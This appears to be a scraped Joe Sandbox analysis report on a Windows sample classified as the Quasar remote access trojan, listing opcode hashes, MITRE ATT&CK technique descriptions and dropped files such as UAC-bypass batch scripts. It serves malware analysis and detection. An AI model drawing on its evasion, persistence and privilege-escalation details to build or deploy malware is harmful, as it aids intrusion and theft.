Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29b55896dc2bae9ba1e04d3161370b94d2ee28c1a15e6ce4b7487e3b7c580d09
Instruction ID: bcef832e1ce3a15a7edae2c759c73f50c8b1bd3d800d0713dff5b9f862de4f88
Opcode Fuzzy Hash: 29b55896dc2bae9ba1e04d3161370b94d2ee28c1a15e6ce4b7487e3b7c580d09
Instruction Fuzzy Hash: 31217C31A0E54A4FDB55EF68C0E55A57B91EF5A310B1942F9C048CF1FBD928ED86C390

Function 00007FFD9B8A1BF5 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f24fba203d2e419fadaad4e0f09514b8d457bdb716cf59cf0f63739f9fdb9f2
Instruction ID: 8fef723cc3a0354f93ea677ca5a63f408da166b9d0e84ca67ff289429b97e810
Opcode Fuzzy Hash: 8f24fba203d2e419fadaad4e0f09514b8d457bdb716cf59cf0f63739f9fdb9f2
Instruction Fuzzy Hash: 7D31E730749A494FE34CF71C94A57E57B62EB8E308FC08195E819433CBDA7D6581CB62

Function 00007FFD9B8A32ED Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ac79ae2666bb6222858543f866e65836b8b79a163b870a40cd863ad3f5ea26
Instruction ID: 96e9b2b556672b2ea29de307da17b0891ebd877d1c0b513ee196447db0c137ea
Opcode Fuzzy Hash: b9ac79ae2666bb6222858543f866e65836b8b79a163b870a40cd863ad3f5ea26
Instruction Fuzzy Hash: ED21C131F19A594FD794FB689869AB873E1EF59305B0100BAE00DC32A6DE28E840C741

Function 00007FFD9B8A0872 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98e6d50ceae39fe427ad9ef342047d14c71f4347c5c6c98ba97fc174c6a5411a
Instruction ID: 9b118e1de62e8a321a02616c3bd9ee5f61eeebaae1287a4822bb9baad1246a19
Opcode Fuzzy Hash: 98e6d50ceae39fe427ad9ef342047d14c71f4347c5c6c98ba97fc174c6a5411a
Instruction Fuzzy Hash: E321F991A2EAC64FF359A7744C75AA4ABA1FF55780F0901FAC09DCB1E7DD1C290483A2

Function 00007FFD9B8A34A1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 476a5b011c8af58bd4013ca78c9358a586a98c129b66234c7209a1d20c26a3cb
Instruction ID: f4d247c7a40bedea8828c1d09f0da4b339bcd54073fa449a0189a30a5b5dec2f
Opcode Fuzzy Hash: 476a5b011c8af58bd4013ca78c9358a586a98c129b66234c7209a1d20c26a3cb
Instruction Fuzzy Hash: FB119921A0EA850FE366A73858A98F17BD4DBA822070901BBE44DC31A3DD1CAA868351

Function 00007FFD9B8A28E5 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bfc882b5e87b2b68e85d372255d82e9e02131c52323054c82996e7120b1ab34
Instruction ID: d6f7fc5db895ad92fe598471be8674e5f8405974c4064867a4ff3673ce17fbc0
Opcode Fuzzy Hash: 1bfc882b5e87b2b68e85d372255d82e9e02131c52323054c82996e7120b1ab34
Instruction Fuzzy Hash: 6D11E911B4EBC84FE397E37858A8AB47FD1AF8B214B1A41F7E488CB1B7C9584945C312

Function 00007FFD9B8A0DA9 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87ede69a3c528f1e53b57c1a803af8c49b4696affeb6b47c9ff94394ea0c27e
Instruction ID: e518ff37af8622999ad1050f124319fb0b59491a6a9c5cacd65f9d1f98bd9c8e
Opcode Fuzzy Hash: e87ede69a3c528f1e53b57c1a803af8c49b4696affeb6b47c9ff94394ea0c27e
Instruction Fuzzy Hash: E3014E1377AD4E0AD7ADB26C58A55F563D2DB99750B0406B6E00DC31AAED1879424381

Function 00007FFD9B8A1E68 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 756d673eb3e4c4ad02329b87d18cc3474f3cdc8f251f49ebda440b41943cacf9
Instruction ID: 1028b123e5146edb0504ca59d586461faf71552001ddde5ced65df480448ad0e
Opcode Fuzzy Hash: 756d673eb3e4c4ad02329b87d18cc3474f3cdc8f251f49ebda440b41943cacf9
Instruction Fuzzy Hash: 5CF02422B09C6C0FE758F2AD58E8EF967D0DF9C22971502B7E04CC72A7DC0498828391

Function 00007FFD9B8A1E80 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83814c5acf9fe11d4b9fc42a33ac74f7f15e4df0611d8db6ae79e359cda175c4
Instruction ID: cc68ee032803a045a66e5c09eedd4522be782574a0d64bb94c4f877acfef1a2e
Opcode Fuzzy Hash: 83814c5acf9fe11d4b9fc42a33ac74f7f15e4df0611d8db6ae79e359cda175c4
Instruction Fuzzy Hash: 65E09221B19C1D1FEBA8F7AD48D9F7962D1EBAC21572501B6E40CC72AADC189C818351

Function 00007FFD9B8A094D Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1734096551.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b8a0000_Client.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa5a05d1b6f916826d1460ec26c22a2b03d531ad38cea497fd28afd445c3b06
Instruction ID: 764722d630f8f749ef3e6821ee5508f13290d17a59191fbbaca760725bb5696f
Opcode Fuzzy Hash: 1aa5a05d1b6f916826d1460ec26c22a2b03d531ad38cea497fd28afd445c3b06
Instruction Fuzzy Hash: FAE04F22F1A91A0AE695326824621FC31819F58A51B46157AE84DC62E7DC1D6D420294

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Dd5DwDCHJD.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Quasar

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Privilege Escalation

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Privilege Escalation

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Client.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Dd5DwDCHJD.exe.log

C:\Users\user\AppData\Roaming\$77-cmd\Client.exe

C:\Users\user\AppData\Roaming\$77-cmd\Melt.bat

C:\Users\user\AppData\Roaming\$77-cmd\UACBypass1.bat

C:\Users\user\AppData\Roaming\$77-cmd\UACBypass2.bat

\Device\Null

Windows Analysis Report
Dd5DwDCHJD.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre